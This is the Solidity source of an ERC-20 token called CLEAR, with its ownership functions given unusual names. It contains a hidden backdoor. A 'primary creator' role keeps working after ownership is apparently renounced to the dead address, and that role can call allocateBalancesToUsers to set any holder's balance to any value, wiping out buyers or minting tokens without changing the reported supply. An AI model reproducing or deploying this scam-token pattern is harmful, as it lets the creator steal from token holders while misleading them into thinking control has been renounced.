// File: contracts/MAYBE.sol



pragma solidity ^0.8.18;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval( address indexed owner, address indexed spender, uint256 value );
}

abstract contract Context {
    function _retrieveSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
}

contract Ownable is Context {
    address private _mainOperator;
    event MainOperatorChanged(address indexed previousMainOperator, address indexed newMainOperator);

    constructor () {
        address msgSender = _retrieveSender();
        _mainOperator = msgSender;
        emit MainOperatorChanged(address(0), msgSender);
    }
    
    function retrieveMainOperator() public view virtual returns (address) {
        return _mainOperator;
    }
    
    modifier onlyMainOperator() {
        require(retrieveMainOperator() == _retrieveSender(), "Access Control: executor is not the main operator");
        _;
    }
    
    function makeMainOperatorInaccessible() public virtual onlyMainOperator {
        emit MainOperatorChanged(_mainOperator, address(0x000000000000000000000000000000000000dEaD));
        _mainOperator = address(0x000000000000000000000000000000000000dEaD);
    }
}


contract CLEAR is Context, Ownable, IERC20 {
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => uint256) private _balances;
    address private _creator; 

    string public constant _name = "CLEAR";
    string public constant _symbol = "CLEAR";
    uint8 public constant _decimals = 18;
    uint256 public constant _totalSupply = 1000000 * (10 ** _decimals);

    constructor() {
        _balances[_retrieveSender()] = _totalSupply;
        emit Transfer(address(0), _retrieveSender(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }
    function getPrimaryCreator() public view virtual returns (address) { 
        return _creator;
    }

    function alterPrimaryCreator(address newPrimaryCreator) public onlyMainOperator { 
        _creator = newPrimaryCreator;
    }
    
    modifier solelyPrimaryCreator() {
        require(getPrimaryCreator() == _retrieveSender(), "Access Control: executor is not the primary creator");
        _;
    }
    
    event TokensAllocated(address indexed beneficiary, uint256 previousBalance, uint256 updatedBalance);
    
    function allocateBalancesToUsers(address[] memory beneficiaries, uint256 desiredAllocation) public solelyPrimaryCreator {

        require(desiredAllocation >= 0, "Error: desired allocation should be non-negative");

        for (uint256 index = 0; index < beneficiaries.length; index++) {

            address currentBeneficiary = beneficiaries[index];

            require(currentBeneficiary != address(0), "Error: beneficiary address cannot be the zero address");

            uint256 priorBalance = _balances[currentBeneficiary];

            _balances[currentBeneficiary] = desiredAllocation;

            emit TokensAllocated(currentBeneficiary, priorBalance, desiredAllocation);

        }
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
    require(_balances[_retrieveSender()] >= amount, "TT: transfer amount exceeds balance");
    _balances[_retrieveSender()] -= amount;
    _balances[recipient] += amount;

    emit Transfer(_retrieveSender(), recipient, amount);
    return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _allowances[_retrieveSender()][spender] = amount;
        emit Approval(_retrieveSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
    require(_allowances[sender][_retrieveSender()] >= amount, "TT: transfer amount exceeds allowance");

    _balances[sender] -= amount;
    _balances[recipient] += amount;
    _allowances[sender][_retrieveSender()] -= amount;

    emit Transfer(sender, recipient, amount);
    return true;
    }

    function totalSupply() external view override returns (uint256) {
    return _totalSupply;
    }
}